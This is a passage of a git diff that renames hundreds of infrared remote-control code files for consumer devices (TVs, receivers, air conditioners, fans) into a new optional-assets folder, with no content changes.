ir_optional_assets}/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/orion/Unknown_orion/128,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/sun/Unknown_sun/26,9.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/universum/SAT/97,135.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/universum/Unknown_universum/16,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir (100%) diff --git a/assets/resources/infrared/optional-assets/ACs/Dreo/Dreo_Heater.ir b/assets/ir_optional_assets/optional-assets/ACs/Dreo/Dreo_Heater.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Dreo/Dreo_Heater.ir rename to assets/ir_optional_assets/optional-assets/ACs/Dreo/Dreo_Heater.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir b/assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir rename to assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_Air_Multiplier.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Dyson/Dyson_HP09.ir b/assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_HP09.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Dyson/Dyson_HP09.ir rename to assets/ir_optional_assets/optional-assets/ACs/Dyson/Dyson_HP09.ir diff --git a/assets/resources/infrared/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir b/assets/ir_optional_assets/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir rename to assets/ir_optional_assets/optional-assets/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Homedics/Homedics_Humidifier.ir b/assets/ir_optional_assets/optional-assets/ACs/Homedics/Homedics_Humidifier.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Homedics/Homedics_Humidifier.ir rename to assets/ir_optional_assets/optional-assets/ACs/Homedics/Homedics_Humidifier.ir diff --git a/assets/resources/infrared/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir b/assets/ir_optional_assets/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir rename to assets/ir_optional_assets/optional-assets/ACs/JETTools/JETTools_AFS-1000B.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir b/assets/ir_optional_assets/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir rename to assets/ir_optional_assets/optional-assets/ACs/Koldfront/Koldfront_WAC12001.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Koldfront_wac12001.ir b/assets/ir_optional_assets/optional-assets/ACs/Koldfront_wac12001.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Koldfront_wac12001.ir rename to assets/ir_optional_assets/optional-assets/ACs/Koldfront_wac12001.ir diff --git a/assets/resources/infrared/optional-assets/ACs/LG/LG_AC.ir b/assets/ir_optional_assets/optional-assets/ACs/LG/LG_AC.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/LG/LG_AC.ir rename to assets/ir_optional_assets/optional-assets/ACs/LG/LG_AC.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Fan.ir b/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Fan.ir rename to assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir b/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir rename to assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Fan_Simple.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Heater.ir b/assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Heater.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Lasko/Lasko_Heater.ir rename to assets/ir_optional_assets/optional-assets/ACs/Lasko/Lasko_Heater.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Pelonis_PFS40D6ABB.ir b/assets/ir_optional_assets/optional-assets/ACs/Pelonis_PFS40D6ABB.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Pelonis_PFS40D6ABB.ir rename to assets/ir_optional_assets/optional-assets/ACs/Pelonis_PFS40D6ABB.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Vornado/Vornado.ir b/assets/ir_optional_assets/optional-assets/ACs/Vornado/Vornado.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Vornado/Vornado.ir rename to assets/ir_optional_assets/optional-assets/ACs/Vornado/Vornado.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Whynter/Whynter_AC.ir b/assets/ir_optional_assets/optional-assets/ACs/Whynter/Whynter_AC.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Whynter/Whynter_AC.ir rename to assets/ir_optional_assets/optional-assets/ACs/Whynter/Whynter_AC.ir diff --git a/assets/resources/infrared/optional-assets/ACs/Zenith/Zenith_AC.ir b/assets/ir_optional_assets/optional-assets/ACs/Zenith/Zenith_AC.ir similarity index 100% rename from assets/resources/infrared/optional-assets/ACs/Zenith/Zenith_AC.ir rename to assets/ir_optional_assets/optional-assets/ACs/Zenith/Zenith_AC.ir diff --git a/assets/resources/infrared/optional-assets/Amino_amigo.ir b/assets/ir_optional_assets/optional-assets/Amino_amigo.ir similarity index 100% rename from assets/resources/infrared/optional-assets/Amino_amigo.ir rename to assets/ir_optional_assets/optional-assets/Amino_amigo.ir diff --git a/assets/resources/infrared/optional-assets/Amz_snd_bar.ir b/assets/ir_optional_assets/optional-assets/Amz_snd_bar.ir 